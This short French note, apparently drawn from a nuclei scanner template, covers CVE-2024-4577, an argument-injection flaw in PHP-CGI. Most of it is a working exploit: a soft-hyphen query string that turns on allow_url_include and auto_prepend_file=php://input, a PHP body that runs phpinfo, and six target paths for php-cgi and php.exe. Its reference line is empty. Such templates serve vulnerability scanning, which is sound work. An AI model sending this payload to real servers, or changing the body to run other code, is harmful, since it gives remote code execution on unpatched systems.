
CVE-2024-4577 nuclei-templates
Charge utile :
?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
<?php phpinfo(); ?>
URL de test :
/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}
/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}

Réf. :